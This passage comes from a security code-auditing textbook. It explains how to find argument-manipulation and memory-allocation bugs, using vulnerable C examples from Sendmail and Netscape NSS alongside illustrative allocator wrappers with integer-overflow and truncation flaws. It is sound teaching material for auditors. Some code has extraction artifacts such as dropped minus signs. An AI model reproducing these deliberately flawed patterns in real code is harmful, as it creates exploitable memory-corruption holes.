7-32 is taken from the prescan() function in Sendmail. The vulnerability involves updating an argument to prescan() (the delimptr argument) to point to invalid data when certain error conditions cause the function to terminate unexpectedly during a nested loop. This vulnerability revolves around the p variable being incremented as the prescan() function reads in a character. Listing 7-32. Sendmail Return Value Update Vulnerability /* read a new input character */ c = (*p++) & 0x00ff; if (c == '\0') { /* diagnose and patch up bad syntax */ if (state == QST) { usrerr("553 Unbalanced '\"'"); c = '"'; } else if (cmntcnt > 0) { usrerr("553 Unbalanced '('"); c = ')'; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 374 else if (anglecnt > 0) { c = '>'; usrerr("553 Unbalanced '<'"); } else break; p--; When the end of the string is encountered, the break statement is executed and the inner loop is broken out of. A token is then written to the output avp token list, as shown in the following code: /* new token */ if (tok != q) { /* see if there is room */ if (q >= &pvpbuf[pvpbsize - 5]) goto addrtoolong; *q++ = '\0'; if (tTd(22, 36)) { sm_dprintf("tok="); xputs(tok); sm_dprintf("\n"); } if (avp >= &av[MAXATOM]) { usrerr("553 5.1.0 prescan: too many tokens"); goto returnnull; } if (q - tok > MAXNAME) { usrerr("553 5.1.0 prescan: token too long"); goto returnnull; } *avp++ = tok; } } while (c != '\0' && (c != delim || anglecnt > 0)); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 375 If an error condition is encountered (the token is too long or there's more than MAXATOM tokens), an error is indicated and the function returns. However, the delimptr argument is updated to point outside the bounds of the supplied string, as shown in this code: returnnull: if (delimptr != NULL) *delimptr = p; CurEnv->e_to = saveto; return NULL; } When the error conditions shown earlier are triggered, the p variable points one byte past where the NUL byte was encountered, and delimptr is consequently updated to point to uninitialized stack data. The p variable is then manipulated, which creates the possibility of exploitation. When reviewing an application, code auditors should make note of security-relevant functions that manipulate pass-by-reference arguments, as well as the specific manner in which they perform this manipulation. These kinds of argument manipulations often use opaque pointers with an associated set of manipulation functions. This type of manipulation is also an inherent part of C++ classes, as they implicitly pass a reference to the this pointer. However, C++ member functions can be harder to review due to the number of implicit functions that may be called and the fact that the code paths do not follow a more direct procedural structure. Regardless of the language though, the best way to determine the risk of a pass-by-reference manipulation is to follow this simple process: 1. Find all locations in a function where pass-by-reference arguments are modified, particularly structure arguments, such as the buffer structure in Listing 7-25. 2. Differentiate between mandatory modification and optional modification. Mandatory modification occurs every time the function is called; optional modification occurs when an abnormal situation arises. Programmers are more likely to overlook exceptional conditions related to optional modification. 3. Examine how calling functions use the modified arguments after the function has returned. In addition, note when arguments aren't updated when they should be. Recall the read_line() function that was used to illustrate return value testing (see Listing 7-30). When the data allocation or read function failed, arguments that were intended to be updated every time weren't updated. Also, pay close attention to what happens when functions return early because of some error: Are arguments that should be updated not updated for some reason? You might think that if the caller function tests return The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 376 values correctly, not updating arguments wouldn't be an issue; however, there are definitely cases in applications when arguments are supposed to be updated even when errors do occur (such as the Sendmail example shown in Listing 7-32). Therefore, even though the error might be detected correctly, the program is still vulnerable to misuse because arguments aren't updated correctly. To help identify these issues with argument manipulation, use your function audit logs to identify where pass-by-reference arguments are modified in the function and any cases in which pass-by-reference arguments aren't modified. Then examine calling functions to determine the implications (if any) of these updates or lack of updates. To incorporate this check, you could add some rows to the audit log, as shown in Table 7-3. Table 7-3. Rows to Add to the Function Audit Log Mandatory modifications char **buffer (second argument): Updated with a data buffer that's allocated within the function. int *length (third argument): Updated with how many bytes are read into **buffer for processing. Optional modifications None Exceptions Both arguments aren't updated if the buffer allocation fails or the call to read() fails. Auditing functions that modify global variables requires essentially the same thought processes as auditing functions that manipulate pass-by-reference arguments. The process involves auditing each function and enumerating the situations in which it modifies global variables. However, vulnerabilities introduced by modifying global variables might be more subtle because any number of different functions can make use of a global variable and, therefore, expect it to be in a particular state. This is especially true for code that can run at any point in the program, such as an exception handler or signal handler. In practice, you can conduct this analysis along with argument manipulation analysis when you're creating function audit logs. You can place the notes about global variable modification in the rows for modifications. There may be a little more work in determining the implications of modifying global variables, however. To evaluate the risk of these variables being modified (or not modified when they should be), simply look at every instance in which the global variable is used. If you find a case in which a global variable is assumed to be initialized or updated in a certain way, attackers might be able to leverage the application when functions that are supposed to operate on the global variable don't or when functions modify it unexpectedly. In Listing 7-4(? The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 377 [????.]), you saw an example of this kind of vulnerability in OpenSSH with the global buffer structure variables. In that code, the destruction functions called by fatal() make an assumption about their state being consistent. In object-oriented programs, it can be much harder to determine whether global variables are susceptible to misuse because of unexpected modification. The difficulty arises because the order of execution of constituent member functions often isn't clear. In these cases, it is best to examine each function that makes use of the global variable and then attempt to come up with a situation in which a vulnerability could happen. For example, say you have two classes, C and D. C has member functions cX, cY, and cZ, and D has member functions dX, dY, and dZ. If you spot a potentially unexpected modification of a global variable in cX, and then see that global variable manipulated in dY and dZ, the challenge is to determine whether the cX function can be called in such a way that the global variable is updated in an unexpected fashion, and dY and dZ can operate on the global variable when it's in this inconsistent state. Argument Meaning Chapter 2(? [????.]) presented clarity as a design principle that affects the security of a system. Misleading or confusing function arguments provide a very immediate example of just this issue. Any confusion over the intended meaning of arguments can have serious security implications because the function doesn't perform as the developer expected. An argument's "intended meaning" generally means the data type the function expects for that argument and what the data stored in that argument is supposed to represent. When auditing a function for vulnerabilities related to incorrect arguments being supplied, the process is as follows: 1. List the type and intended meaning of each argument to a function. 2. Examine all the calling functions to determine whether type conversions or incorrect arguments could be supplied. The first thing to check for is type conversions. Type conversions actually occur often in arguments passed to a function, but most of the time they don't cause security-relevant problems. For example, integers are often passed to read() as the third argument, where they're converted to a size_t, but usually this conversion doesn't matter because the integer is a constant value. For each function call they analyze, code auditors should note any type conversions that do occur and how that argument is used in the function being audited. The conversion might become an issue if the interpretation of the argument can change based on a sign change. The issue might be significant if the argument's bit pattern changes during the type conversion (as in a sign extension) because the application developer probably didn't expect this type conversion. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 378 Next, examine the argument's intended meaning, which can usually be determined by observing the context in which it's used. If a function's interface is unclear or misleading, an application developer can easily misunderstand how to use the function correctly, which can introduce subtle vulnerabilities. Chapter 8(? [????.]), "Strings and Metacharacters," presents examples involving MultiByteToWideChar() and other similar functions that illustrate a common mistake made in code dealing with wide characters. Often, in these functions, length arguments indicate a destination buffer's size in wide characters, not in bytes. Confusing these two data sizes is an easy mistake to make, and the result of mixing them up is usually a buffer overflow. So how do you find vulnerabilities of this nature? You need to understand exactly how the function works and what arguments are used for in the function. The general rule is this: The more difficult the function is to figure out, the more likely it is that it will be used incorrectly. As with the other elements of function auditing, making a log recording the meaning of different arguments is recommended. This log can be used with the argument modification log because similar information is being recorded; basically, you want to know what arguments are required, how they are used, and what happens to these arguments throughout the course of the function. Table 7-4 shows an example of a function arguments log. Table 7-4. Function Argument Audit Log Argument 1 prototype wchar_t *dest Argument 1 meaning Destination buffer where data is copied into from the source buffer Argument 2 prototype wchar_t *src Argument 2 meaning Source buffer where wide characters are copied from Argument 3 prototype size_t len Argument 3 meaning Maximum size in wide characters of the destination buffer (doesn't include a NUL terminator) Implications NUL termination is guaranteed. The len parameter doesn't include the null terminator character, so the null character can be written out of bounds if the supplied len is the exact size of the buffer divided by 2. The length parameter is in wide characters; callers might The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 379 Table 7-4. Function Argument Audit Log Argument 1 prototype wchar_t *dest accidentally use sizeof(buf), resulting in an overflow. If 0 is supplied as a len, it's decremented to -1, and an infinite copy occurs. If -1 length is supplied, it's set artificially to 256. Table 7-4 lists a prototype and the intended meaning for each argument. Probably the most important part of the log is the implications list, which summarizes how application programmers could use the function incorrectly and notes any idiosyncrasies in the function that might cause exploitable conditions. After compiling this list, you can reference it at each location where the function is called and attempt to determine whether any conditions in the list can be true in the calling functions. In the sample function in Table 7-4, quite a few conditions result in the function doing something it shouldn't. It's an example of a function with an awkward interface, as it can be called incorrectly in so many ways that it would be quite easy for an application developer to misuse it. Ultimately, the trick to finding vulnerabilities related to misunderstanding functions arguments is to be able to conceptualize a chunk of code in isolation. When you're attempting to understand how a function operates, carefully examine each condition that's directly influenced by the arguments and keep thinking about what boundary conditions might cause the function to be called incorrectly. This task takes a lot of practice, but the more time you spend doing it, the faster you can recognize potentially dangerous code constructs. Many functions perform similar operations (such as string copying and character expansion) and are, therefore, prone to similar misuses. As you gain experience auditing these functions, you can observe patterns common to exceptional conditions and, over time, become more efficient at recognizing problems. Spend some time ensuring that you account for all quirks of the function so that you're familiar with how the function could be misused. You should be able to answer any questions about a functions quirks and log the answers so that the information is easily accessible later. The small details of what happens to an argument during the function execution could present a whole range of opportunities for the function to be called incorrectly. Finally, be especially mindful of type conversions that happen with arguments, such as truncation when dealing with short integers, because they are susceptible to boundary issues (as discussed in Chapter 6(? [????.])). 7.3.5 Auditing Memory Management The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 380 Memory management is a core element of every program, whether it is performed explicitly by the developer or implicitly by the programming language and runtime. To complete your understanding of programming building blocks you need to examine the common issues in managing memory, and the security-relevant impact of mismanagement. The following sections explore these issues and present you with a few tools to help make you more productive in identifying memory management vulnerabilities. ACC Logs Errors in memory management are almost always the result of length miscalculations; so one of the first steps in auditing memory management is to develop a good process for identifying length miscalculations. Some miscalculations stand out, but others are quite easy to miss. So there's a tool help you identify even the most subtle length miscalculations, called allocation-check-copy (ACC) logs. An ACC log is simply intended to record any variations in allocation sizes, length checks, and data element copies that occur on a memory block. An ACC log is divided into three columns for each memory allocation. The first column contains a formula for describing the size of memory that's allocated, which can be a formula or a static number if the buffer is statically sized. The next column contains any length checks that data elements are subjected to before being copied into the allocated buffer. The third column is used to list which data elements are copied into the buffer and the way in which they are copied. Separate copies are listed one after the other. Finally, you can have an optional fourth column, where you note any interesting discrepancies you determined from the information in the other three columns. Look at a sample function in Listing 7-33, and then examine its corresponding ACC log in Table 7-5. Listing 7-33. Length Miscalculation Example for Constructing an ACC Log int read_packet(int sockfd) { unsigned int challenge_length, ciphers_count; char challenge[64]; struct cipher *cipherlist; int i; challenge_length = read_integer(sockfd); if(challenge_length > 64) return -1; if(read_bytes(sockfd, challenge, challenge_length) < 0) return -1; ciphers_count = read_integer(sockfd); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 381 cipherlist = (struct cipher *)allocate(ciphers_count * sizeof(struct cipher)); if(cipherlist == NULL) return -1; for(i = 0; i < ciphers_count; i++) { if(read_bytes(sockfd, &cipherlist[i], sizeof(struct cipher) < 0) { free(cipherlist); return -1; } } ... more stuff here ... } Table 7-5. ACC Log Allocation Check Copy Notes challenge variable 64 Supplied length is less than or equal to 64 (check is unsigned) Copies length bytes Seems like a safe copy; checks are consistent cipherlist variable ciphers_count * sizeof (struct cipher) N/A Reads individual ciphers one at a time Integer overflow if (ciphers_count > 0xFFFFFFFF) / sizeof(struct cipher) Listing 7-33 shows some code that reads a packet from a fictitious protocol and allocates and reads different elements from the packet. A sample ACC log is shown is Table 7-5. In the ACC log, you record the specifics of how a buffer is allocated, what length checks are performed, and how data is copied into the buffer. This compact format quickly summarizes how dynamic memory allocations and copies are done and whether they are safe. Notice that the entry for the cipherlist variable mentions that ciphers are copied one at a time. This detail is important when you're determining The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 382 whether an operation is safe. If this function did a single read of ciphers_count * sizeof(struct cipher), the allocation and copy lengths would be identical, so the code would be safe regardless of whether an integer overflow occurred. Checks sometimes happen before an allocation; if so, you might want to rearrange the first two columns to make the record easier to understand. ACC logs are intended to help you identify length checks that could cause problems; however, they aren't a complete assessment of the memory safety of an operation. To understand this point, look at the following example: ciphers_count = read_integer(sockfd); if(ciphers_count >= ((unsigned int)(~0)) /sizeof(struct cipher)) return -1; cipherlist = (struct cipher *) allocate(ciphers_count * sizeof(struct cipher)); if(cipherlist == NULL) return -1; This code has a length check that you would add to your ACC record, but does this mean you can conclude this memory copy is secure? No. This function doesn't use a system allocator to allocate cipherlist; instead, it uses a custom allocate() function. To determine whether this code is secure, you need to consult your allocator scorecard (a tool introduced later in this section) as well. Only then could you conclude whether this allocation is safe. The following sections present several examples of buffer length miscalculations you can use to test out your ACC logging skills. These examples help expose you to a variety of situations in which length miscalculations occur, so you're comfortable as you encounter similar situations in your own code assessments. Unanticipated Conditions Length miscalculations can arise when unanticipated conditions occur during data processing. In the following example, the code is printing some user-supplied data out in hexadecimal: u_char *src, *dst, buf[1024]; for(src = user_data, dst = buf; *src; src++){ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 383 snprintf(dst, sizeof(buf) - (dst buf), "%2.2x", src); dst += 2; } This developer makes the assumption, however, that snprintf() successfully writes the two bytes into the buffer because the loop always increments dst by 2 (as shown in the bolded line). If no bytes or only one byte were left in the buffer, dst would be incremented too far, and subsequent calls to snprintf() would be given a negative size argument. This size would be converted to a size_t and, therefore, interpreted as a large positive value, which would allow bytes to be written past the end of the destination buffer. Data Assumptions Quite often when auditing code dealing with binary data, you see that programmers tend to be more trusting of the content, particularly in applications involving proprietary file formats and protocols. This is because they haven't considered the consequences of certain actions or they assume that only their applications will generate the client data or files. Often developers assume that no one would bother to reverse-engineer the data structures necessary to communicate with their software. History has told a very different story, however. People can, and frequently do, reverse-engineer closed-source products for the purpose of discovering security problems. If anything, researchers are even more willing and prepared to scrutinize complex and proprietary protocols via manual analysis, blackbox testing, and automated fuzzing. Some of the simplest examples of data assumption errors are those in which developers make assumptions about a data element's largest possible size, even when a length is specified before the variable-length data field! Listing 7-34 shows an example from the NSS library used in Netscape Enterprise (and Netscape-derived Web servers) for handling SSL traffic. Listing 7-34. Buffer Overflow in NSS Library's ssl2_HandleClientHelloMessage csLen = (data[3] << 8) | data[4]; sdLen = (data[5] << 8) | data[6]; challengeLen = (data[7] << 8) | data[8]; cs = data + SSL_HL_CLIENT_HELLO_HBYTES; sd = cs + csLen; challenge = sd + sdLen; PRINT_BUF(7, (ss, "server, client session-id value:", sd, sdLen)); if ((unsigned)ss->gs.recordLen != SSL_HL_CLIENT_HELLO_HBYTES + csLen + sdLen + challengeLen) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 384 SSL_DBG(( "%d: SSL[%d]: bad client hello message, len=%d should=%d", SSL_GETPID(), ss->fd, ss->gs.recordLen, SSL_HL_CLIENT_HELLO_HBYTES+csLen+sdLen+challengeLen)); goto bad_client; } ... /* Squirrel away the challenge for later */ PORT_Memcpy(ss->sec.ci.clientChallenge, challenge, challengeLen); In Listing 7-34, the server takes a length field of challenge data supplied by the client, and then copies that much data from the packet into the ss->sec.ci.ClientChallenge buffer, which is statically sized to 32 bytes. The code simply neglects to check whether the supplied length is smaller than the destination buffer. This simple error is fairly commoneven more so in closed-source applications. Order of Actions Actions that aren't performed in the correct order can also result in length miscalculation. Listing 7-35 shows a subtle example of how this problem could occur. Listing 7-35. Out-of-Order Statements int log(int level, char *fmt, ...) { char buf[1024], *ptr = buf, *level_string; size_t maxsize = sizeof(buf) - 1; va_list ap; ... switch(level){ case ERROR: level_string = "error"; break; case WARNING: level_string = "warning"; break; case FATAL: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 385 level_string = "fatal"; break; default: level_string = ""; break; } sprintf(ptr, "[%s]: ", level_string); maxsize -= strlen(ptr); ptr += strlen(ptr); sprintf(ptr, "%s: ", get_time_string()); ptr += strlen(ptr); maxsize -= strlen(ptr); va_start(ap, fmt); vsnprintf(ptr, maxsize, fmt, ap); va_end(ap); ... Listing 7-35 contains an error where it writes the time string, returned from get_time_string(), into the buffer. The ptr variable is incremented to the end of the time string, and then the string length of ptr is subtracted from maxsize. These two operations happen in the wrong order. Because ptr has already been incremented, maxsize is decremented by zero. Therefore, maxsize fails to account for the time string, and a buffer overflow could occur when vsnprintf() is called with the incorrect length. Multiple Length Calculations on the Same Input A common situation that leads to length miscalculations in applications is data being processed more than once at different places in the programtypically with an initial pass to determine the length and then a subsequent pass to perform the data copy. In this situation, the auditor must determine whether any differences exist between the length calculation code fragment and the data copy code fragment. The following code from Netscape Enterprise/Mozilla's NSS library shows code responsible for processing UCS2 data strings. The function iterates through the string and calculates the amount of space needed for output, and if the destination buffer is large enough, the function stores it. Listing 7-36 shows the loop for this calculation. Listing 7-36. Netscape NSS Library UCS2 Length Miscalculation The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 386 R_IMPLEMENT(PRBool) sec_port_ucs2_utf8_conversion_function ( PRBool toUnicode, unsigned char *inBuf, unsigned int inBufLen, unsigned char *outBuf, unsigned int maxOutBufLen, unsigned int *outBufLen ) { PORT_Assert((unsigned int *)NULL != outBufLen); if( toUnicode ) { .. } else { unsigned int i, len = 0; PORT_Assert((inBufLen % 2) == 0); if ((inBufLen % 2) != 0) { *outBufLen = 0; return PR_FALSE; } for( i = 0; i < inBufLen; i += 2 ) { if( (inBuf[i+H_0] == 0x00) && ((inBuf[i+H_0] & 0x80) == 0x00) ) len += 1; else if( inBuf[i+H_0] < 0x08 ) len += 2; else if( ((inBuf[i+0+H_0] & 0xDC) == 0xD8) ) { if( ((inBuf[i+2+H_0] & 0xDC) == 0xDC) && ((inBufLen - i) > 2) ) { i += 2; len += 4; } else { return PR_FALSE; } } else len += 3; } Note that there's a small variance when the data copy actually occurs later in the same function, as shown in the following code: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 387 for( i = 0; i < inBufLen; i += 2 ) { if( (inBuf[i+H_0] == 0x00) && ((inBuf[i+H_1] & 0x80) == 0x00) ) { /* 0000-007F -> 0xxxxxx */ /* 00000000 0abcdefg -> 0abcdefg */ outBuf[len] = inBuf[i+H_1] & 0x7F; len += 1; } else if( inBuf[i+H_0] < 0x08 ) { /* 0080-07FF -> 110xxxxx 10xxxxxx */ /* 00000abc defghijk -> 110abcde 10fghijk */ outBuf[len+0] = 0xC0 | ((inBuf[i+H_0] & 0x07) << 2) | ((inBuf[i+H_1] & 0xC0) >> 6); outBuf[len+1] = 0x80 | ((inBuf[i+H_1] & 0x3F) >> 0); len += 2; ... Do you see it? When the length calculation is performed, only one byte of output is expected when a NUL byte is encountered in the character stream because the H_0 offset into inBuf is used twice in the length calculation. You can see that the developer intended to test the following byte to see whether the high-bit is set but uses H_0 instead of H_1. The same mistake isn't made when the actual copy occurs. During the copy operation, you can clearly see that if the following byte has the highest bit set, two bytes are written to the output buffer because a second check is in the bolded if clause. Therefore, by supplying data containing the byte sequence 0x00, 0x80, you can cause more data to be written to the output buffer than was originally anticipated. As it turns out, the vulnerability can't be exploited in Netscape because the output buffer is rather large, and not enough input data can be supplied to overwrite arbitrary memory. Even though the error isn't exploitable, the function still performs a length calculation incorrectly, so it's worth examining. Allocation Functions Problems can occur when allocation functions don't act as the programmer expects. Why would they not act as expected? You supply a size, and the function returns a memory block of that size. It's simple, right? However, code doesn't always behave exactly as expected; when dealing with memory allocations you need to be aware of the unusual cases. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 388 Larger applications often use their own internal memory allocation instead of calling the OS's allocation routines directly. These application-specific allocation routines can range from doing nothing except calling the OS routines (simple wrappers) to complex allocation subsystems that optimize the memory management for the application's particular needs. You can generally assume that system libraries for memory allocation are used extensively and are presumably quite sound; however, the same can't be said for application-specific allocators because they run the gamut in terms of quality. Therefore, code reviewers must watch for erroneous handling of requests instead of assuming these custom routines are sound. You should audit them as you would any other complex codeby keeping a log of the semantics of these routines and noting possible error conditions and the implications of those errors. Because allocation routines are so universal and try to achieve much the same purpose from application to application, the following sections cover the most common problems you should watch for. Is It Legal to Allocate 0 Bytes? Many code auditors know that requesting an allocation of 0 bytes on most OS allocation routines is legal. A chunk of a certain minimum size (typically 12 or 16 bytes) is returned. This piece of information is important when you're searching for integer-related vulnerabilities. Consider the code in Listing 7-37. Listing 7-37. Integer Overflow with 0-Byte Allocation Check char *get_string_from_network(int sockfd) { unsigned int length, read_bytes; char *string; int n; length = get_integer_from_network(sockfd); string = (char *)my_malloc(length + 1); if(!string) return NULL; for(read_bytes = 0; read_bytes < length; read_bytes += n){ n = read(sockfd, string + read_bytes, length read_bytes); if(n < 0){ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 389 free(string); return NULL; } } string[length] = '\0'; return string; } In this code, attackers can specify a length that's incremented and passed to my_malloc(). The call to my_malloc() will be passed the value 0 when the length variable contains the maximum integer that can be represented (0xFFFFFFFF), due to an integer overflow. String data of length bytes is then read into the chunk of memory returned by the allocator. If this code called the malloc() or calloc() system allocation routines directly, you could conclude that it's a vulnerability because attackers can cause a large amount of data to be copied directly into a very small buffer, thus corrupting the heap. However, the code isn't using system libraries directly; it's using a custom allocation routine. Here is the code for my_malloc(): void *my_malloc(unsigned int size) { if(size == 0) return NULL; return malloc(size); } Although the allocation routine does little except act as a wrapper to the system library, the one thing it does do is significant: It specifically checks for 0-byte allocations and fails if one is requested. Therefore, the get_string_from_network() function, although not securely coded, isn't vulnerable (or, more accurately, isn't exploitable) to the integer overflow bug explained previously. The example in Listing 7-37 is very common. Developers often write small wrappers to allocation routines that check for 0-byte allocations as well as wrappers to free() functions that check for NULL pointers. In addition, potential vulnerabilities, such as the one in get_string_from_network(), are common when processing binary protocols or file formats. It is often necessary to add a fixed size header or an extra space for the NUL character before allocating a chunk of memory. Therefore, you must know whether 0-byte allocations are legal, as they can mean the difference between code being vulnerable or not vulnerable to a remote memory corruption bug. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 390 Does the Allocation Routine Perform Rounding on the Requested Size? Allocation function wrappers nearly always round up an allocation size request to some boundary (8-byte boundary, 16-byte boundary, and so on). This practice is usually acceptable and often necessary; however, if not performed properly it could expose the function to an integer overflow vulnerability. An allocation routine potentially exposes itself to this vulnerability when it rounds a requested size up to the next relevant boundary without performing any sanity checks on the request size first. Listing 7-38 shows an example. Listing 7-38. Allocator-Rounding Vulnerability void *my_malloc2(unsigned int size) { if(size == 0) return NULL; size = (size + 15) & 0xFFFFFFF0; return malloc(size); } The intention of the bolded line in this function is to round up size to the next 16-byte boundary by adding 15 to the request size, and then masking out the lower four bits. The function fails to check that size is less than the 0xFFFFFFF1, however. If this specific request size is passed (or any request size between 0xFFFFFFF1 up to and including 0xFFFFFFFF), the function overflows a 32-bit unsigned integer and results in a 0-byte allocation. Keep in mind that this function would not be vulnerable if size had been checked against 0 after the rounding operation. Often the difference between vulnerable and safe code is a minor change in the order of events, just like this one. Are Other Arithmetic Operations Performed on the Request Size? Although rounding up an unchecked request size is the most common error that exposes an allocation routine to integer vulnerabilities, other arithmetic operations could result in integer-wrapping vulnerabilities. The second most common error happens when an application performs an extra layer of memory management on top of the OS's management. Typically, the application memory management routines request large memory chunks from the OS and then divide it into smaller chunks for individual requests. Some sort of header is usually prepended to the chunk and hence the size of such a header is added to the requested chunk size. Listing 7-39 shows an example. Listing 7-39. Allocator with Header Data Structure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 391 void *my_malloc3(unsigned int size) { struct block_hdr *hdr; char *data; data = (char *)malloc(size + sizeof(struct block_hdr)); if(!data) return NULL; hdr = (struct block_hdr *)data; hdr->data_ptr = (char *)(data + sizeof(struct block_hdr)); hdr->end_ptr = data + sizeof(struct block_hdr) + size; return hdr->data_ptr; } This simple addition operation introduces the potential for an integer overflow vulnerability that is very similar to the problem in Listing 7-37. In this case, the my_malloc3() function is vulnerable to an integer overflow for any size values between 0xFFFFFFFF and 0xFFFFFFFF - sizeof(struct block_hdr). Any value in this range will result in the allocation of a small buffer for an extremely large length request. Reallocation functions are also susceptible to integer overflow vulnerabilities because an addition operation is usually required when determining the size of the new memory block to allocate. Therefore, if users can specify one of these sizes, there's a good chance of an integer wrap occurring. Adequate sanity checking is rarely done to ensure the safety of reallocation functions, so code reviewers should inspect carefully to make sure these checks are done. Listing 7-40 shows a function that increases a buffer to make space for more data to be appended. Listing 7-40. Reallocation Integer Overflow int buffer_grow(struct buffer *buf, unsigned long bytes) { if(buf->alloc_size buf->used >= bytes) return 0; buf->data = (char *)realloc(buf->data, buf->alloc_size + bytes); if(!buf->data) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 392 return 1; buf->alloc_size += bytes; return 0; } The bolded code in Listing 7-40 shows a potentially dangerous addition operation. If users can specify the bytes value, bytes + buf->alloc_size can be made to wrap, and realloc() returns a small chunk without enough space to hold the necessary data. Are the Data Types for Request Sizes Consistent? Sometimes allocation functions can behave unexpectedly because of typing issues. Many of the typing issues discussed in Chapter 6(? [????.]) are especially relevant when dealing with allocators, as any mistake in type conversions more than likely results in a memory corruption vulnerability that's readily exploitable. On occasion, you might come across memory allocators that use 16-bit sizes. These functions are more vulnerable to typing issues than regular allocators because the maximum value they can represent is 65535 bytes, and users are more likely to be able to specify data chunks of this size or larger. Listing 7-41 shows an example. Listing 7-41. Dangerous Data Type Use void *my_malloc4(unsigned short size) { if(!size) return NULL; return malloc(size); } The only thing you need to do to trigger a vulnerability is find a place in the code where my_malloc4() can be called with a value can be larger than 65535 (0xFFFF) bytes. If you can trigger an allocation of a size such as 0x00010001 (which, depending on the application, isn't unlikely), the value is truncated to a short, resulting in a 1-byte allocation. The introduction of 64-bit systems can also render allocation routines vulnerable. Chapter 6(? [????.]) discusses 64-bit typing issues in more detail, but problems can happen when intermixing long, size_t, and int data types. In the LP64 compiler model, long and size_t data types are 64-bit, whereas int types occupy only 32 bits. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 393 Therefore, using these types interchangeably can have unintended and unexpected results. To see how this might be a problem, take another look at a previous example. void *my_malloc(unsigned int size) { if(size == 0) return NULL; return malloc(size); } As stated previously, this allocation wrapper doesn't do much except check for a 0-length allocation. However, it does one significant thing: It takes an unsigned int parameter, as opposed to a size_t, which is what the malloc() function takes. On a 32-bit system, these data types are equivalent; however, on LP64 systems, they are certainly not. Imagine if this function was called as in Listing 7-42. Listing 7-42. Problems with 64-Bit Systems int read_string(int fd) { size_t length; char *data; length = get_network_integer(fd); if(length + 2 < length) return -1; data = (char *)my_malloc(length + 2); ... read data ... } The read_string() function specifically checks for integer overflows before calling the allocation routine. On 32-bit systems, this code is fine, but what about 64-bit systems? The length variable in read_string() is a size_t, which is 64 bits. Assuming that get_network_integer() returns an int, look at the integer overflow check more carefully: if(length + 2 < length) return -1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 394 On an LP64 system both sides of this expression are 64-bit integers, so the check can only verify that a 64-bit value does not overflow. When my_malloc() is called, however, the result is truncated to 32 bits because that function takes a 32-bit integer parameter. Therefore, on a 64-bit system, this code could pass the first check with a value of 0x100000001, and then be truncated to a much smaller value of 0x1 when passed as a 32-bit parameter. Whether values passed to memory allocation routines are signed also becomes quite important. Every memory allocation routine should be checked for this condition. If an allocation routine doesn't do anything except pass the integer to the OS, it might not matter whether the size parameter is signed. If the routine is more complex and performs calculations and comparisons based on the size parameter, however, whether the value is signed is definitely important. Usually, the more complicated the allocation routine, the more likely it is that the signed condition of size parameters can become an issue. Is There a Maximum Request Size? A lot of the previous vulnerability conditions have been based on a failure to sanity check request sizes. Occasionally, application developers decide to arbitrarily build in a maximum limit for how much memory the code allocates, as shown in Listing 7-43. A maximum request size often thwarts many potential attacks on allocation routines. Code auditors should identify whether a maximum limit exists, as it could have an impact on potential memory corruption vulnerabilities elsewhere in the program. Listing 7-43. Maximum Limit on Memory Allocation #define MAX_MEMORY_BLOCK 100000 void *my_malloc5(unsigned int size) { if(size > MAX_MEMORY_BLOCK) return NULL; size = (size + 15) & 0xFFFFFFF0; return malloc(size); } The allocator in Listing 7-43 is quite restrictive, in that it allows allocating only small chunks. Therefore, it's not susceptible to integer overflows when rounding up the request size after the size check. If rounding were performed before the size check rather than after, however, the allocator would still be vulnerable to an integer overflow. Also, note whether the size parameter is signed. Had this argument been The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 395 negative, you could evade this maximum size check (and wrap the integer over the 0-boundary during the rounding up that follows the size check). Is a Different Size Memory Chunk Than Was Requested Ever Returned? Essentially all integer-wrapping vulnerabilities become exploitable bugs for one reason: A different size memory chunk than was requested is returned. When this happens, there's the potential for exploitation. Although rare, occasionally a memory allocation routine can resize a memory request. Listing 7-44 shows the previous example slightly modified. Listing 7-44. Maximum Memory Allocation Limit Vulnerability #define MAX_MEMORY_BLOCK 100000 void *my_malloc6(unsigned int size) { if(size > MAX_MEMORY_BLOCK) size = MAX_MEMORY_BLOCK; size = (size + 15) & 0xFFFFFFF0; return malloc(size); } The my_malloc6() function in Listing 7-44 doesn't allocate a block larger than MAX_MEMORY_BLOCK. When a request is made for a larger block, the function resizes the request instead of failing. This is very dangerous when the caller passes a size that can be larger than MAX_MEMORY_BLOCK and assumes it got a memory block of the size it requested. In fact, there's no way for the calling function to know whether my_malloc6() capped the request size at MAX_MEMORY_BLOCK, unless every function that called this one checked to make sure it wasn't about to request a block larger than MAX_MEMORY_BLOCK, which is extremely unlikely. To trigger a vulnerability in this program, attackers simply have to find a place where they can request more than MAX_MEMORY_BLOCK bytes. The request is silently truncated to a smaller size than expected, and the calling routine invariably copies more data into that block than was allocated, resulting in memory corruption. Allocator Scorecards and Error Domains When reviewing applications, you should identify allocation routines early during the audit and perform a cursory examination on them. At a minimum, you should address each potential danger area by scoring allocation routines based on the associated vulnerability issuescreating a sort of scorecard. You can use this scorecard as a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 396 shorthand method of dealing with allocators so that you don't need to create extensive audit log. However, you should still search for and note any unique situations that haven't been addressed in your scorecard, particularly when the allocation routine is complex. Take a look at what these allocator scorecards might look like in Table 7-6. Table 7-6. Allocator Scorecard Function prototype int my_malloc(unsigned long size) 0 bytes legal Yes Rounds to 16 bytes Additional operations None Maximum size 100 000 bytes Exceptional 